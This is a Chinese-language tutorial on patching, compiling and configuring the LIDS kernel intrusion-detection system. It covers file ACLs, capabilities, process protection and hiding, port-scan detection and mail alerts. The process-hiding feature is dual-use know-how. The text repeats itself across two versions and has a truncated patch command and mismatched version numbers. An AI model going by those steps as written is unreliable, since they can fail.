LIDS |
随着互连网上Linux越来越受欢迎 ,越来越多现有GNU/LINUX系统上的应用软件中的安全
漏洞被发现。很多程序利用了程序员的粗心,例如缓存溢出、格式化代码攻击。当系统安全
受到程序的危及,黑客获得ROOT权限以后,整个系统将被入侵者控制。
由于代码的开放性,我们可以获得很多所希望Linux应用程序的原代码,并且根据我们的
需要来修改。所以bug能很容易地被找到,并很快修补。但是当漏洞被揭示后,而系统管理员
疏于给漏洞打补丁,从而造成很容易地就被入侵,更糟的是黑客能获得ROOT SHELL。利用现
有的GNU/Linux系统,他为所欲为。这正是LIDS想要解决的问题。
首先看看现有的GNU/Linux系统存在哪些问题。
文件系统未受到保护
系统中的很多重要的文件,例如 /bin/login,一旦黑客入侵后,他可以上传修改过的l
ogin文件来代替/bin/login ,然后他就可以不需要任何登陆名和密码就登陆系统。这常被称
为Trojan house。
进程未受到保护
系统上运行的进程是为某些系统功能所服务的,例如HTTPD是一个web服务器来满足远程
客户端对于web的需求。作为web服务器系统,保护其进程不被非法终止是很重要的。但是当
入侵者获得了ROOT权限后,我们却无能为力。
系统管理未受保护
很多系统管理,例如,模块的装载/卸载,路由的设置,防火墙的规则,能很容易就被修
改,如果用户的ID是0。所以当入侵者获得ROOT权限后,就变得很不安全。
超级用户(root)作为ROOT可能滥用权限
他可以为所欲为。作为ROOT他甚至可以对现有的权限进行修改。
综上所述,我们发现在现有的Linux系统中的进入控制模式是不足以建立一个安全的Linu
x系统。我们必须在系统中添加新的模式来解决这些问题。这就是LIDS所要做的。
2. LIDS的特色
Linux入侵侦察系统是Linux内核补丁和系统管理员工具,它加强了内核的安全性。它在
内核中实现了参考监听模式以及Mandatory Access Control(命令进入控制)模式。当它起
作用后,选择文件进入,每一个系统/网络的管理操作,任何使用权限, raw device, mem
和 I/O 进入将可以禁止甚至对于ROOT也一样。它使用和扩展了系统的功能,在整个系统上
绑定控制设置,在内核中添加网络和文件系统的安全特性,从而加强了安全性。你可以在线
调整安全保护,隐藏敏感进程,通过网络接受安全警告等等。
简而言之,LIDS提供了保护、侦察、响应的功能,从而是LINUX系统内核中的安全模式得
以实现。
2.1 保护
LIDS提供以下的保护 :
保护硬盘上任何类型的重要文件和目录,任何人包括ROOT都无法改变。
能保护重要进程不被终止
能防止非法程序的RAW IO 操作。保护硬盘,包括MBR保护,等等。
能保护系统中的敏感文件,防止未被授权者(包括ROOT)和未被授权的程序进入。
2.2 侦察
当有人扫描你的主机, LIDS能侦察到并报告系统管理员。 LIDS也可以检测到系统上任
何违法规则的进程。
2.3 响应
当有人违反规则, LIDS会将非法的运作细节记录到受LIDS保护的系统log文件中。 LID
S还可以将log信息传到你的信箱中。LIDS也可以马上关闭与用户的对话。
可以从LIDS Home,LIDS Ftp Home或最近的LIDS Mirror获得LIDS补丁和系统管理工具。
补丁名称是lids-x.xx-y.y.y.tar.gz, x.xx代表lids的版本, y.y.y代表Linux内核版本.例如, lids-0.9.9-2.2.17.tar.gz代表lids 版本是0.9.9 以及相关的内核版本是2.2.17.。
必须下载相关的内核版本。例如,你下载了lids-0.9.9-2.2.17.tar.gz,那你就应该下载inux内核2.2.17的原代码。可以从Kernel FTP Site或其他镜象获得内核原码。
然后,将内核原码和LIDS tar解压.例如,从 www.lids.org得到lids-0.9.9-.2.17.tar.gz,从ftp.us.kernel.org得到linux-2.2.17.tar.bz2后:
-----------------------------------------------------------
1. uncompress the Linux kernel source code tree.
# cd linux_install_path/
# bzip2 -cd linux-2.2.17.tar.bz2 | tar -xvf -
2. uncompress the lids source code and install the lidsadm tool.
# cd lids_install_path
# tar -zxvf lids-0.9.8-2.2.17.tar.gz
-----------------------------------------------------------
2 在正式的linux内核上打LIDS补丁
Linux内核原码打LIDS补丁
-----------------------------------------------------------
# cd linux_install_path/linux
# patch -p1
/* link the default source path to lids patched version
# rm -rf /usr/src/linux
# ln -s linux_install_patch/linux /usr/src/linux
3 配置Linux内核
-----------------------------------------------------------
configure the Linux kernel
# cd linux
# make menuconfig or make xconfig
-----------------------------------------------------------
现在,配置Linux内核,按照以下步骤实施:
[*] Prompt for development and/or incomplete code/drivers
[*] Sysctl support
After that, you will find that a new item appear in the bottom of the configura
tion menu name "Linux Intrusion Detection System". Entering this menu, turn the
[*] Linux Intrusion Detection System support (EXPERIMENTAL) (NEW).
配置LIDS内核以后.退出配置界面,编译内核。
# make dep
# make clean
# make bzImage
# make modules
# make modules_install
3.4 在Linux系统上安装LIDS和系统管理工具
复制 bzImage 到 /boot/ ,编辑 /etc/lilo.conf
-----------------------------------------------------------
# cp arch/i386/boot/bzImage /boot/bzImage-lids-0.9.9-2.2.17
/* build admin tools */
# cd lids-0.9.8-2.2.17/lidsadm-0.9.8/
# make
# make install
# less /etc/lilo.conf
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=linux
image=/boot/vmlinuz-2.2.16-3
label=linux
read-only
root=/dev/hda2
image=/boot/bzImage-lids-0.9.9-2.2.17
label=dev
read-only
root=/dev/hda2
-----------------------------------------------------------
运行/sbin/lilo 来安装新内核
# /sbin/lilo
5 配置LIDS系统
在重新启动以前,必须配置lids系统,使其符合你的安全需要.你可以定义受保护的文件,受保护的进程等等。
缺省情况下,lidsadm将把缺省配置文件安装到 /etc/lids/。你必须根据自己的需要重新配。首先,可以更新缺省lids.conf的inode/dev值。
# /sbin/lidsadm -U
6 重新启动系统
配置完Linux系统后,重新启动.当lilo出现时,选择装载the lids enable kernel。然后,你就将进入美妙的LIDS世界。
7 封装内核
系统启动后,不要忘记用lidsadm封装内核,在最后/etc/rc.local加入以下命令
# /sbin/lidsadm -I
8 在线管理
封装完内核后,你的系统就处于LIDS的保护下。可以做一些测试来验证,如果想改变某些配置,例如修改权限,可以通过输入密码方式在线改变lids的安全等级。
# /sbin/lidsadm -S -- -LIDS
改变lids配置属性后,例如lids.conf,lids.cap,你可以通过以下命令在内核中重新装载配置文件
# /sbin/lidsadm -S -- +RELOAD_CONF
安装 lidsadm以后,在/etc/lids/下会产生一个 lids配置目录,当内核启动时,配置信息将被读入内核中来初始化 LIDS系统。
·lids.conf 这是用来储存 LIDS ACLs信息的文件。它包括定义事件进入类型的ACLs.其项目可以用lidsadm来添加或删除。
·lids.cap 这个文件包括了系统中所有的权限,可以通过编辑它来配置系统中启动或禁止的权限。在想要启动的名称前设置 "+"或设置 "-"来禁止。安装系统时, lids.cap 以缺省值存在,应该按照自己的需要改变它。
·lids.net 这个文件是用来配置通过网络传送警告信件的。可以定义 SMTP服务器、端口、信息题目等等。
这一文件需要在配置内核时选择:
[*] Send security alerts through network (NEW)
lids.pw 这是用来储存由"lidsadm -P"产生的密码的文件,需要在配置内核时选择:
[*] Allow switching LIDS protections (NEW)
注意: 如果要改变lids保护等级,你必须在重新启动内核前运行"lidsadm -P"l.
2 保护文件和目录
首先,要决定哪些文件需要受保护。建议你应该保护系统二进制文件和系统配置文件,
例如/usr/,/sbin/,/etc/,/var/log/。
其次,要决定保护文件的方式. LIDS提供四种保护类型:
DENY access to any body(禁止任何人进入)。
这种方式意味着没有人能够看见或修改文件或目录. 最敏感的文件应该配置为DENY。 例
如,可以将 /etc/shadow设置为 DENY access to anybody,
-------------------------------------------------------
Usage
lidsadm -A -o file_to_protected -j DENY
# lidsadm -A -o /etc/shadow -j DENY
After reboot or RELOAD the configurate files. you can see,
# ls /etc/shadow
ls: /etc/shadow: No such file or directory
-------------------------------------------------------
然后, 你要设置一些可以进入文件的程序,例如,登陆系统时,/bin/login文件需要从
受保护的文件/etc/shadow里读取密码 ,但/etc/shadow不允许任何人进入,所以你应该:
-------------------------------------------------------
Usage
lidsadm -A -s SUBJECT_PROGRAM -o OBJECT_PROGRAM -j READ/WRITE/APPEND
# lidsadm -A -s /bin/login -o /etc/shadow -j READ
-------------------------------------------------------
配置生效后,你可以登陆到系统上但无法进入/etc/shadow。这是MAC (mandatory acce
ss control命令进入控制)的一个实例。
Read Only Files(只读文件)
这种方式意味着没有人可以改变文件,建议/etc/passwd,/bin/passwd等类似文件可以
采取这种方式。
-------------------------------------------------------
lidsadm -A -o file_to_protect -j READ
example,
1. to protect the whole /sbin/ as read-only.
# /sbin/lidsadm -A -o /sbin/ -j READ
2. to protect /etc/passwd as read-only
# /sbin/lidsadm -A -o /etc/passwd -j READ
-------------------------------------------------------
Append Only Files(只能添加文件)
大多此类文件是指系统的log文件,例如 /var/log/message ,/var/log/secure。 文件
只能添加而不能删除或修改以前的内容。
------------------------------------------------------
USAGE:
lidsadm -A -o filename_to_protect -j APPEND
example,
1. to protect the system log files
# /sbin/lidsadm -A -o /var/log/message -j APPEND
# /sbin/lidsadm -A -o /var/log/secure -j APPEND
2. to protect the apache httpd log files
# /sbin/lidsadm -A -o /etc/httpd/logs/ -j APPEND
-----------------------------------------------------
WRITE(可写)
此类型用于定义可以改写的文件。
Mandatory Access Control in file protection(文件保护中的命令进入控制)
定义哪个项目(程序)可以以哪种方式(READ,APPEND,WRITE)进入哪个目标(文件)。
例如,定义/home/httpd/为DENY to anybody然后让/usr/sbin/httpd能从目录中READ。
这样一来, Web服务器可以正常地作为公用WEB服务器,但在/home/httpd/下的内容和程序
是不可见的,也不能被修改。如果入侵者通过httpd的bug获得了root shell,他即使在root
shell下也不能看到文件,即使他可以通过改写堆栈在httpd服务器中插入危险的代码,他也
只能读到/home/httpd下的文件,而不能修改。
----------------------------------------------------
# lidsadm -A -o /home/httpd -j DENY
# lidsadm -A -s /usr/sbin/httpd -o /home/httpd -j READ
---------------------------------------------------
下面是LIDS HOWTO中的一个实例
---------------------------------------------------
lidsadm -Z
lidsadm -A -o /boot -j READ
lidsadm -A -o /vmlinuz -j READ
lidsadm -A -o /lib -j READ
lidsadm -A -o /root -j READ
lidsadm -A -o /etc -j READ
lidsadm -A -o /sbin -j READ
lidsadm -A -o /usr/sbin -j READ
lidsadm -A -o /bin -j READ
lidsadm -A -o /usr/bin -j READ
lidsadm -A -o /usr/lib -j READ
lidsadm -A -o /var/log -j APPEND
---------------------------------------------------
安装lidsadm后,在lidsadm包中会有一个样例lids.conf 存放于/etc/lids/下,你必须运行 "lidsadm -U"更新 inode/dev值,根据需要重新配置它。
4.3 保护进程
UN-killable process(不可杀进程)
LIDS 可以保护进程当其父程序初始化时(pid=1)[ the process whose parent is init(pid=1)]必须配置权限 (/etc/lids/lids.cap),如下:
-29:CAP_INIT_KILL
hidden process(隐藏进程)
由于进程被隐藏, 所以当进程启动时,任何人用 "ps"命令或在"/proc"下都无法找到
.
--------------------------------------------------
example,
lidsadm -A -s /usr/sbin/httpd -t -o CAP_HIDDEN -j INHERIT
--------------------------------------------------
4.4 权限保护
Capabilities类似于赋予进程的权限, root方式拥有所有权限,但存在权限绑定设置。在普通的内核中,当你从绑定设置中删除一个权限,再也没有人可以使用它了,直到下次重新启动。 (关于普通使用可以参考http://www.netcom.com/ spoon/lcap)。
LIDS修改这一属性,使你可以任意转换。进入/proc/sys/kernel/cap_bset被捕获后引发安全警报,lidsadm承担所有这些工作。
可以通过运行lidsadm列出所有的LIDS权限,和每一权限确切的含义。
系统权限配置
系统权限属性存放于/etc/lids/lids.cap,必须编辑此文件来适应你的需要。
这里,我们讨论其中的两个属性:
CAP_SYS_RAWIO 启用这一权限,我们可以
allow ioperm/iopl and /dev/port access,
allow /dev/mem and /dev/kmem access and
allow raw block devices (/dev/[sh]d??) access
当禁止了这项功能以后,可以使得系统上所有进程失去对于raw device的权限,例如运行lilo。
但是一些进程需要此权限来打开,例如XF86_SVGA, 所以在编译内核的时候, 使一些程序处于例外状态。
CAP_NET_ADMIN 这个项目可以得到以下权限
interface configuration
administration of IP firewall, masquerading and accounting
setting debug option on sockets
modification of routing tables
setting arbitrary process / process group ownership on sockets
binding to any address for transparent proxying
setting TOS (type of service)
setting promiscuous mode
clearing driver statistics
multicasting
read/write of device-specific registers
出于安全因素,应该禁止此项目来禁止改变网络配置。当其被禁止后,防火墙规则将不允许被改变。
配置lids.cap
可以在capability name前加 "+"或"-"来启动或禁止权限。
--------------------------------------------------
### 0: In a system with the _POSIX_CHOWN_RESTRICTED option defined, this overri
des the restriction
### 0: of changing file ownership and group ownership.
#
-0:CAP_CHOWN
### 1: Override all DAC access, including ACL execute access if _POSIX_ACL is d
efined. Excluding
### 1: DAC access covered by CAP_LINUX_IMMUTABLE.
#
+1:CAP_DAC_OVERRIDE
---------------------------------------------------
以上例子演示了禁止CAP_CHOWN (-),启动CAP_DAC_OVERRIDE(+),应该仔细检查lids.cap文件来决定哪些需要启动哪些需要禁止。
用capabilities为独立进程分类
你可以使用capability为独立进程分类,从而使得进程可以做到一些系统所禁止的事情。
例如,你可以在/etc/lids/lids.cap下禁止CAP_SYS_RAWIO(-),但你仍然需要使用X服务,所以你可以:
# lidsadm -A -s /usr/X11R6/bin/XF86_SVGA -t -o CAP_SYS_RAWIO -j INHERIT
使得XF86_SVGA拥有CA_SYS_RAWIO的权限,而其他程序不能获得CAP_SYS_RAWIO。
封装内核
启动内核以后,系统权限要在封装内核以后才会起作用。你必须将以下命令加入RefHat系统的/etc/rc.d/rc.local下,或其他系统的启动初始文件中
#/sbin/lidsadm -I
4.5 网络安全
LIDS提供了加强网络安全的功能。
基于capability的网络安全
通过capability,可以加强网络安全性。比如anti snifferring,不能绑定低于1024的端口,不能改变防火墙和路由器规则。所以,建议仔细阅读每一项capability.
内核中的扫描检测器
LIDS提供了一个内核扫描检测器,用来侦察是否有人在扫描你的系统。这个扫描器可以侦察到half-open scan, SYN stealth port scan, Stealth FIN, Xmas,或是Null scan等等, 象nmap,satan等工具都能被检测到。
当raw socket被禁止时,它会起作用。这样一来,一些基于监听上的user space detector不起作用。并且这一检测器不使用任何socket,比任何user space detector要安全。
如果想要启用这项功能,可以在编译内核的时候选择。
4.6 入侵响应系统
当LIDS检测到违反已定义规则时,它可以用以下方式回应。
记录信息
当有人违反规则, lids_security_log将把信息记录下来, 记录也具有anti_logging_flood的能力,可以在编译内核时设置。
通过mail服务器记录信息
LIDS的新功能可以把信息传输到你的信箱。你可以在/etc/lids/lids.net下定义邮件服务器IP,外来邮件地址等等。
样例
-----------------------------------------------------
MAIL_SWITCH=1
# MAIL_RELAY=hex IP:port
# IP11.1 of the machine that will be directly connected by LIDS
# for relaying its mails. Port is usually 25, but who knows...
MAIL_RELAY=210.73.88.149:25
# MAIL_SOURCE=source machine :
# Name of the source machine, used for the ehlo identification.
# Note that a bad name here could make the mail relay refuse your
# mails.
MAIL_SOURCE=lids.chinacluster.com
-----------------------------------------------------
此例中,SMTP服务器是210.73.88.149,端口25.邮件资源用于EHLO identification。
控制台的挂起
当用户违反规则,控制台将关闭用户的控制台。
LIDS主要功能:
·保护:保护硬盘上任何类型的重要文件和目录,如/bin、/sbin、/usr/bin、/usr/sbin、/etc/rc.d等目录和其下的文件,以及系统中的敏感文件,如passwd和shadow文件,防止未被授权者(包括ROOT)和未被授权的程序进入,任何人包括ROOT都无法改变,文件可以隐藏。 保护重要进程不被终止,任何人包括root也不能杀死进程,而且可以隐藏特定的进程。防止非法程序的RAW IO 操作,保护硬盘,包括MBR保护等等。
·检测:集成在内核中的端口扫描器,LIDS能检测到扫描并报告系统管理员。 LIDS还可以检测到系统上任何违反规则的进程。
·响应:来自内核的安全警告,当有人违反规则时, LIDS会在控制台显示警告信息,将非法的活动细节记录到受LIDS保护的系统log文件中。 LIDS还可以将log信息发到你的信箱中。LIDS还可以马上关闭与用户的会话。
# cd linux_install_path/
# bzip2 -cd linux-2.4.16.tar.bz2 | tar -xvf -
# cd lids_install_path
# tar -zxvf lids-1.1.0-2.4.16.tar.gz
2.在linux的内核打LIDS补丁,然后配置和编译linux内核,安装LIDS系统
# cd linux_install_path/linux
# patch -p1 < lids_install_path/lids-version-linversion.patch
# rm -rf /usr/src/linux
# ln -s linux_install_patch/linux /usr/src/linux
# cd /usr/src/linux
# make menuconfig or make xconfig
[*] Prompt for development and/or incomplete code/drivers
[*] Sysctl support
[*] Linux Intrusion Detection System support (EXPERIMENTAL) (NEW).
[ ] Hang up console when raising a security alert
当收到一个安全警告挂起控制台
[ ] Security alert when execing unprotected programs before sealing LIDS
当执行没有受LIDS保护的程序时发送安全警告
[ ] Do not execute unprotected programs before sealing LIDS
在安装LIDS前不执行没有受保护的程序
[ ] Try not to flood logs
尽量不要让日志溢出
[ ] Allow switching LIDS protections
允许转换LIDS保护
[ ] Allow remote users to switch LIDS protections
允许远程用户来转换LIDS保护
[ ] Allow any program to switch LIDS protections
允许任何程序来转换LIDS保护
[ ] Allow reloading config. file
允许重新引导配置文件
[ ] Port Scanner Detector in kernel
内核的端口扫描器
[ ] Send security alerts through network
通过网络发送安全警告
[ ] Hide klids kernel thread
隐藏内核进程
[ ] Use generic mailer pseudo-script
使用通用的邮件发送脚本
根据需要选择相应的选项,配置支持LIDS的内核以后.退出配置界面,编译内核。
# make dep
# make clean
# make bzImage
# make modules
# make modules_install
复制 bzImage 到 /boot/ ,编辑 /etc/lilo.conf
# cp arch/i386/boot/bzImage /boot/bzImage-lids
安装lids管理工具
# cd lids-1.1.0-2.4.16/lidsadm-1.1.0/
# make
# make install
# vi /etc/lilo.conf
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=lids
image=/boot/vmlinuz-2.4.16
label=linux
read-only
root=/dev/hda2
image=/boot/bzImage-lids
label=lids
read-only
root=/dev/hda2
运行/sbin/lilo 来安装新内核
# /sbin/lilo
首先,更新缺省lids.conf的inode/dev值。
# /sbin/lidsadm -U
然后,获得一个RipeMD-160加密口令:
# /sbin/lidsadm -P
缺省情况下,lidsadm将把缺省配置文件安装到 /etc/lids/。你必须根据自己的需要重新配置。
当内核启动时,配置信息就把相关信息读入内核来初始化LIDS系统。
lids.conf: 这个文件用来存储LIDS ACLs信息。它包括定义对象访问类型的ACLs。
lids.cap:这个文件包括系统的所有性能,可以编辑这个文件来配置这些性能。
lids.net:这个文件用来配置发给管理员信箱的警告信息。你可以定义SMTP服务器、端口、消头等。仅在配置内核时,选择了[*] Send security alerts through network (NEW)才有该文件。
lids.pw:这个文件存储由'lidsadm -P'命令生成的密码文件。配置内核时选择[*] Allow switching LIDS protections , 就必须有该文件。
1.配置LIDS保护的文件和目录
首先,确定要保护哪些文件。一般情况下,保护系统二进制文件和系统配置文件,
比如:/bin,/sbin/,/usr/,/etc/,/var/log/。
其次,决定以什么方式来保护文件。LIDS提供四种保护类型。
a.拒绝任何人访问
带有DENY标志的文件和目录没有人能够看见,也不能修改。那些非常敏感的文件应该加上DENY标志。例如,/etc/shadow文件。
---------------------------------------------------------------------------
用法:
lidsconf -A -o file_to_protected -j DENY
# lidsconf -A -o /etc/shadow -j DENY
重启或重新加载配置文件后,你会看到:
# ls /etc/shadow
ls: /etc/shadow: No such file or directory
---------------------------------------------------------------------------
接下来,还需要一些设置使一些特有的程序能够访问这些文件,比如,登录到系统的时候,/bin/login文件需要从有DENY标记的/etc/shadow文件中读密码。
---------------------------------------------------------------------------
用法:
lidsconf -A -s SUBJECT_PROGRAM -o OBJECT_PROGRAM -j READONLY/WRITE/APPEND
# lidsconf -A -s /bin/login -o /etc/shadow -j READONLY
---------------------------------------------------------------------------
当你配置好而且重启系统或重新加载配置文件后,你可以登录进系统,但不能看到/etc/shadow。这就是强制访问控制的一个例子。
b.只读文件
任何用户不能改变带有只读标记的文件。比如/etc/passwd,/bin/passwd文件一般属于此类。
---------------------------------------------------------------------------
用法:
lidsconf -A -o file_to_protect -j READONLY
例子:
1.保护整个/sbin/目录,使之只读。
# /sbin/lidsconf -A -o /sbin/ -j READONLY
2.保护/etc/passwd文件为只读
# /sbin/lidsconf -A -o /etc/passwd -j READONLY
---------------------------------------------------------------------------
c.只能追加的文件
一般来说,系统日志文件应定义成此类。比如,/var/log/message,/var/log/secure。这些文件只能以追加的模式打开,用户不能修改前面的部分。
---------------------------------------------------------------------------
用法:
lidsconf -A -o filename_to_protect -j APPEND
例子:
1.保护系统日志文件
# /sbin/lidsconf -A -o /var/log/message -j APPEND
# /sbin/lidsconf -A -o /var/log/secure -j APPEND
2.保护apache httpd日志文件
# /sbin/lidsconf -A -o /var/log/httpd -j APPEND
---------------------------------------------------------------------------
d.可写文件
以上READONLY,APPEND,WRITE属于LIDS对文件采取的强制访问控制(MAC)。
通过LIDS的这个功能,就可以定义哪个程序可以对哪个文件采取什么样的访问模式。比如,定义/home/httpd/对任何人DENY,并且定义/usr/sbin/httpd能够从所在目录READONLY。在这种情况下,Web服务器像一般的Web服务器一样,只是在/home/httpd/目录下的内容和程序不能被看到和修改。即使入侵者利用httpd的漏洞获得了ROOT权限,他也看不到在root shell里面的文件。即使他重写缓冲区,在httpd 服务器中加入一些病毒代码,他也只能读出/home/httpd下面的文件而实质上无法修改它们。
---------------------------------------------------------------------------
# lidsconf -A -o /home/httpd -j DENY
# lidsconf -A -s /usr/sbin/httpd -o /home/httpd -j READONLY
---------------------------------------------------------------------------
一个简单配置的例子:
---------------------------------------------------------------------------
lidsconf -Z
lidsconf -A -o /boot -j READONLY
lidsconf -A -o /lib -j READONLY
lidsconf -A -o /root -j READONLY
lidsconf -A -o /etc -j READONLY
lidsconf -A -o /sbin -j READONLY
lidsconf -A -o /usr/sbin -j READONLY
lidsconf -A -o /bin -j READONLY
lidsconf -A -o /usr/bin -j READONLY
lidsconf -A -o /usr/lib -j READONLY
---------------------------------------------------------------------------
2.配置LIDS保护进程
a.不可杀死的进程
LIDS能够保护父进程是init(pid=1)的进程,按照下面的命令配置/etc/lids/lids.cap里面的性能:
-29:CAP_INIT_KILL
b.隐藏的进程
这些进程看不到,用ps命令或者在/proc里面也看不到。
---------------------------------------------------------------------------
例子:
lidsconf -A -s /usr/sbin/httpd -o CAP_HIDDEN -j GRANT
---------------------------------------------------------------------------
3.通过设置权限来保护
这里的权限就是你给一个进程的权限。一个root进程拥有所有的性能,还存在绑定的权限问题。在一般的内核中,当从绑定集中去掉一种权限时,除非重启任何人都不能启用该权限。LIDS修改权限使用户可以在这些权限中间任意切换。对/proc/sys/kernel/cap_bset的访问被俘获,引发安全告警。
系统的权限值存储在/etc/lids/lids.cap中。编辑它可以满足你的需求。
例如:
CAP_SYS_RAWIO项若打开,我们就可以允许访问/dev/port,/dev/mem,/dev/kmem,以及对原始块设备(/dev/[sh]d??)的访问。
当我们取消这个权限时,就可以使运行在系统上的所有进程不能访问原始块设备,比如运行lilo。但是,一些进程的运行需要这些权限,比如XF86_SVGA。
再比如,CAP_NET_ADMIN,这项权限可以得到以下的能力:接口配置,IP防火墙、伪装和计费的管理,设置sockets调试选项,修改路由表,设置任意进程或进程组对sockets的所有权,为透明proxy代理捆绑地址,设置服务类型,设置混合模式,多播,对设备的指定寄存器进行读写等。出于安全考虑,我们应当取消这项权限,不允许变化网络设置,也就禁止了防火墙规则的改变。
配置lids.cap文件的方法是在权限名字的前面设置"+"使它有效,或设置"-"取消它。
具体的功能说明:
CAP_CHOWN功能:
在一个_POSIX_CHOWN_RESTRICTED功能定义的系统。这会越过改变系统文件所有者和组所有的权限
CAP_DAC_OVERRIED功能:
如果_POSIX_ACL定义,就会越过所有的DAC访问,包括ACL执行访问,用CAP_LINUX_IMMUTABLE功能来排除DAC的访问
CAP_DAC_READ_SEARCH功能:
如果_POSIX_ACL定义,就会越过所有的DAC的读限制,并在所有的文件和目录里搜索,包括ACL限制。用CAP_LINUX_IMMUTABLE来限制DAC访问
CAP_FOWNER功能:
越过文件说有的允许限制,如文件的所有者ID必须和用户ID一样,除了CAP_FSETID可用。它不会越过MAC和DAC限制
CAP_FSETID功能:
越过当设置文件的S_ISUID和S_ISGID位的时候,用户的ID必须和所有者ID匹配的限制,设置S-ISGID位的时候,组ID必须和所有者ID匹配的限制,用chown来设置S_ISUID和S_ISGID为的功能限制
CAP_FS_MASK功能:
用来回应suser()或是fsuser()。
CAP_KILL功能:
一个有有效用户ID的进程发送信号时必须匹配有效用户ID的功能会越过
CAP_SETGID功能:
允许setgid() 功能, 允许setgroups() 允许在socket里伪造gid
CAP_SETUID功能:
允许set*uid()功能 允许伪造pid在socket
CAP_SETPCAP功能:
把所有的许可给所有的pid。或是把所有的许可删除
CAP_LINUX_IMMUTABLE功能:
允许更改S_IMMUTABLE和S_APPEND文件属性
CAP_NET_BIND_SERVICE功能:
允许绑定1024下的TCP/UDP套接字
CAP_NET_BROADCAST功能:
允许广播,监听多点传送
CAP_NET_ADMIN功能:
允许配置接口
允许管理IP防火墙IP伪装和帐户
允许配置socket调试选项
允许修改路由表
允许配置socket上的进程的组属性
允许绑定所有地址的透明代理
允许配置TOS(服务类型)
允许配置混杂模式
允许清除驱动状态
允许多点传送
允许读或写系统记录
CAP_NET_RAW功能:
允许用RAW套接字
允许用PACKET套接字
CAP_IPC_LOCK功能:
允许琐定共享内存段
允许mlock和mlockall
CAP_IPC_OWNER功能:
越过IPC所有权检查
CAP_SYS_MODULE功能:
插入或删除内核模块
CAP_SYS_RAWIO功能:
允许ioperm/iopl和/dev/prot的访问
允许/dev/mem和/dev/kmem访问
允许块设备访问(/dev/[sh]d??)
CAP_SYS_CHROOT功能:
允许chroot()
CAP_SYS_PTRACE功能:
允许ptrace()任何进程
CAP_SYS_PACCT功能:
允许配置进程帐号
CAP_SYS_ADMIN功能:
允许配置安全钥匙
允许管理随机设备
允许设备管理
允许检查和配置磁盘限额
允许配置内核日志
允许配置域名
允许配置主机名
允许调用bdflush()命令
允许mount()和umount()命令
允许配置smb连接
允许root的ioctls
允许nfsservctl
允许VM86_REQUEST_IRQ
允许在alpha上读写pci配置
允许在mips上的irix_prctl
允许刷新所有的m68k缓存
允许删除semaphores
用CAP_CHOWN去代替"chown"IPC消息队列,标志和共享内存
允许锁定或是解锁共享内存段
允许开关swap
允许在socket伪装pids
允许设置块设备的缓存刷新
允许设置软盘驱动器
允许开关DMA开关
允许管理md设备
允许管理ide驱动
允许访问nvram设备
允许管理apm_bios,串口或是bttv电视设备
允许在isdn CAPI的驱动下生成命令
允许读取pci的非标准配置
允许DDI调试ioctl
允许发送qic-117命令
允许启动或禁止SCSI的控制和发送SCSI命令 允许配置加密口令在回路文件系统上
CAP_SYS_BOOT功能:
允许用reboot() 命令
CAP_SYS_NICE功能:
允许提高或设置其他进程的优先权
允许在自己的进程用FISO和实时的安排和配置
CAP_SYS_RESOURCE功能:
越过资源限制,设置资源限制
越过配额限制
越过保留的ext2文件系统
允许大于64hz的实时时钟中断
越过最大数目的控制终端
越过最大数目的键
CAP_SYS_TIME功能:
允许处理系统时钟
允许_stime
允许设置实时时钟
CAP_SYS_TTY_CONFIG功能:
允许配置终端设备
允许vhangup()终端
另外,还可以用权限标记专用进程。标记进程的权限使进程具备系统禁止的性能。
例如,在文件lids.cap中取消CAP_SYS_RAWIO权限,但是你需要在启动X Server的时候具备这个权限。所以,可以这样设置:
# lidsconf -A -s /usr/X11R6/bin/XF86_SVGA -o CAP_SYS_RAWIO -j GRANT
使XF86_SVGA具备CAP_SYS_RAWIO,而其它的程序不能得到CAP_SYS_RAWIO。
所以要选择需要删除的功能:
必须删除CAP_SYS_MODULE, CAP_SYS_RAWIO 和 CAP_SYS_ADMIN来保护系统不受小的系统攻击。最好也要禁止CAP_NET_ADMIN, CAP_SYS_PTRACE, CAP_LINUX_IMMUTABLE, CAP_KILL, CAP_SYS_RESOURCE, CAP_SYS_TIME 和 CAP_SYS_TTY_CONFIG
LIDS通过权限设置来提高网络安全性,比如反sniferring,禁止捆绑1024以下的端口,禁止改变防火墙和路由规则。
4.内核扫描检测
LIDS在内核中提供扫描监测器,检测谁正在扫描你的系统。它能够检测出half-open扫描,SYN秘密扫描,秘密FIN,Xmas或NULL扫描等,像nmap,satan这样的流行扫描工具可以被检测到。
即使原始套接口不能工作时它仍能起作用,因为它不用任何套接口。在这种情况下,一些基于sniffering的用户检测器不能工作了。若想要利用LIDS的这项功能,在编译内核时选上就可以了。
5.入侵响应系统
当LIDS检测到违背定义的规则的活动时,可以做出下列响应:
a.记录相关信息。
当某人破坏这些规则时,lids_security_log记录相关信息,记录工作同样具有anti_logging_flood的能力。编译内核时你可以设置这个选项。
b.通过mail服务器记录信息。
LIDS可以把日志送到你的信箱里面去。你可以在/etc/lids/lids.net中定义邮件服务器的IP,出口邮件的地址等。
如下:
---------------------------------------------------------------------------
MAIL_SWITCH=1
# MAIL_RELAY=hex IP:port
# IP11.1 of the machine that will be directly connected by LIDS
# for relaying its mails. Port is usually 25, but who knows...
MAIL_RELAY=192.168.100.171:25
# MAIL_SOURCE=source machine :
# Name of the source machine, used for the ehlo identification.
# Note that a bad name here could make the mail relay refuse your
# mails.
MAIL_SOURCE=lids.xfocus.net
---------------------------------------------------------------------------
配置好的系统重新启动后,不要忘记用lidsadm封装内核,在最后/etc/rc.local加入以下命令
# /sbin/lidsadm -I
重新启动,如果要关闭lids系统启动,你可以在lilo里用security=0来启动内核。
配置中要注意的几点:
*. 启动
在启动的时候更新文件:
一些文件需要在系统启动的时候写,但是会被LIDS保护,这些文件一般保存在/var目录下,但是也有一些例外: modules.dep:除了增加或是删除模块外,不需要在启动的时候更改,可以禁止它在启动的时候更新。
mtab:用-n的选项在每次启动的时候生成一个从/etc/mtab到/proc/mounts的一个连接。如果对/etc/目录进行保护,那么在启动中可能因为mtab不可写而导致启动失败,因此需要将启动脚本中的mount加-n选项,或者单独对/etc下的几个重要目录或文件进行保护。
*. 关机或重起
可能会因为lids.conf配置引起关机是无法umount文件系统,导致重起后检查硬盘文件系统。
所以在lids.conf必须对halt进行配置:
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_INIT_KILL -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_KILL -i 1 -j GRANT
